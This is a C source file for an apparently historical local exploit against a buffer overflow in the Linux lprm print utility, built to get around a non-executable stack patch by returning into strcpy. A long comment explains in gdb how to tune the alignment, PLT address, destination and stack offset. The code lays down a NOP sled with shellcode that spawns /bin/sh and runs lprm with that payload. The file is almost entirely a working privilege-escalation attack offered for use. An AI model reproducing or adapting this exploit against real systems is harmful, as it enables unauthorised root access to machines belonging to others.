/* Exploit by Kil3r of Lam3rZ for the bug discovered by Chris Evans in Linux lprm. This sploit works around non-executable stackpatch by Solar Designer. Based on Nergal's strcpy technique. GreetZ: fresh morning, Luke_Skyw(alker) and all of Lam3rZ teem. This code is GNU and may be used for education purpose only. Description: First play with ALIGN: ALIGN - it is most the importent thing! Try pass 0x1234567 as STRCPY then debug the sploit(!) changeing ALIGN form 0 to 16 and look if it jumps to 0x12345678: emsi:~$ gdb a.out [...] (gdb) r Starting program: /home/pooh/a.out sp= 0xbfffbb78 src= 0xbffff39c (no debugging symbols found)... Program received signal SIGTRAP, Trace/breakpoint trap. 0x1109d0 in _dl_boot () at boot1.c:504 boot1.c:504: No such file or directory. (gdb) continue Continuing. connection to printer is down Program received signal SIGSEGV, Segmentation fault. 0x12345678 in ?? () (gdb) 14 and 13 was OK for me. If so, You have found right ALIGN! :) Then change STRCPY: STRCPY is PLT entry of strcpy(). Fo find it debug lprm(! not sploit!) and type: (gdb) p strcpy $1 = {} 0x8048a98 0x8048a98 is what we are lookin' for! After that You need to find right DEST addres. So debug lprm again and do something like this: (gdb) b strcpy Breakpoint 1 at 0x8048a98 <------- same address as above ;) (gdb) r Starting program: /usr/bin/lprm (no debugging symbols found)...Breakpoint 1 at 0x1824e0 Breakpoint 1, 0x1824e0 in strcpy () then find lprm PID: emsi:~# ps aux |grep lprm root 3472 0.2 3.2 2856 2040 pc T 13:28 0:00 gdb /usr/bin/lprm root 3473 0.1 0.3 840 204 pc T 13:29 0:00 /usr/bin/lprm ^^^^ (I did it as root, but it doesn't mettter ;) Then read proc info of lprm (3473 is lprm PID): emsi:~# cat /proc/3473/maps 00110000-00116000 r-xp 00000000 03:02 266269 00116000-00117000 rw-p 00005000 03:02 266269 00117000-00118000 rw-p 00000000 00:00 0 0011a000-001a4000 r-xp 00000000 03:02 319493 001a4000-001a9000 rw-p 00089000 03:02 319493 001a9000-001dc000 rw-p 00000000 00:00 0 08048000-0804b000 r-xp 00000000 03:02 18479 0804b000-0804c000 rw-p 00002000 03:02 18479 0804c000-0804d000 rwxp 00000000 00:00 0 ^^^^^^ bfffd000-c0000000 rwxp ffffe000 00:00 0 0x0804c000 is what we are lookin' for. Dont foget to add aything (ie. 0x10) to it, 'cos it CAN'T have 0x00 (at the end). If you found right ALIGN, STRCPY and DEST you need to play with OFFSET ;) OFFSET is a stack offset of place where our shellcode is placed in. It is hard to find it so you need to be good gdb player ;) Examine the stack like this: emsi:~$ gdb a.out [...] (gdb) r Starting program: /home/pooh/a.out sp= 0xbfffbb78 src= 0xbffff365 (no debugging symbols found)... Program received signal SIGTRAP, Trace/breakpoint trap. 0x1109d0 in _dl_boot () at boot1.c:504 boot1.c:504: No such file or directory. (gdb) continue Continuing. connection to printer is down Program received signal SIGSEGV, Segmentation fault. 0x804c012 in ?? () Then look what is on the stack at address pointed by src (see run output above) in this example 0xbffff365; (gdb) x/20i 0xbffff365 0xbffff365 : testb $0x4,%al 0xbffff367 : orb %al,0x10804c3(%eax) 0xbffff36d : addb %al,(%eax) 0xbffff36f : addb %al,(%eax) 0xbffff371 : addb %al,(%eax) 0xbffff373 : addb %dh,(%edi) 0xbffff375 : cmpsl %ds:(%esi),%es:(%edi) 0xbffff376 : addb $0x8,%al 0xbffff378 : addb %al,(%eax) 0xbffff37a : addb %al,(%eax) 0xbffff37c : orb (%eax),%al 0xbffff37e : addb %al,(%eax) 0xbffff380 : addl $0x20776172,%eax 0xbffff385 : jo 0xbffff3f6 0xbffff387 : outsl %ds:(%esi),(%dx) 0xbffff388 : pushl $0x90909020 0xbffff38d : nop 0xbffff38e : nop 0xbffff38f : nop 0xbffff390 : nop You need to point it to nops, so (in this example) add about 50 to OFFSET... In my case 0x381f was good offset, but you may need to add or subtract few bytes... At last: PINTER is name of remote printer entry in printcap. If user local printcap allowed, printcap should contain something like this: lp|Drukarka Graficzna:\ :lp=:\ :rm=192.168.0.1:\ :rp=raw:\ :lf=/usr/spool/lpd/hp-log:\ :sd=/usr/spool/lpd/lpt:\ :mx#0: lp is name of remote printer, :rm section contains IP of remmote priner (it may be any IP -- it does not have to be any printer IP! :). */ #include #define ALIGN 14 // Try from 0 to 16 #define STRCPY 0x12345678 //channge it if you find right ALIGN (it was 0x804c010 in my case ;) #define DEST 0x804c010 #define OFFSET 0x381f+5 #define PRINTER "-Plp" int *ptr; char *cptr; void main(int argc, char *argv[]) { char buff[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char shellbuf[16384]; int i; int src= (int)&src; /* fill the buffer with nops */ memset(shellbuf, 0x90, sizeof(shellbuf)); shellbuf[sizeof(shellbuf)-1] = 0; cptr = (char *)(shellbuf+100); for(i=0;i < strlen(buff);i++) *(cptr++) = buff[i]; ptr = (int *)(shellbuf+1000+ALIGN); *ptr++ =STRCPY; *ptr++ =DEST; *ptr++ =DEST; *ptr++ =src + OFFSET; // Try to play with it if any problems. *ptr++ = 0; printf("sp= 0x%x\nsrc= 0x%x\n",src,src+OFFSET); execl("/usr/bin/lprm","lprm",PRINTER,shellbuf,NULL); }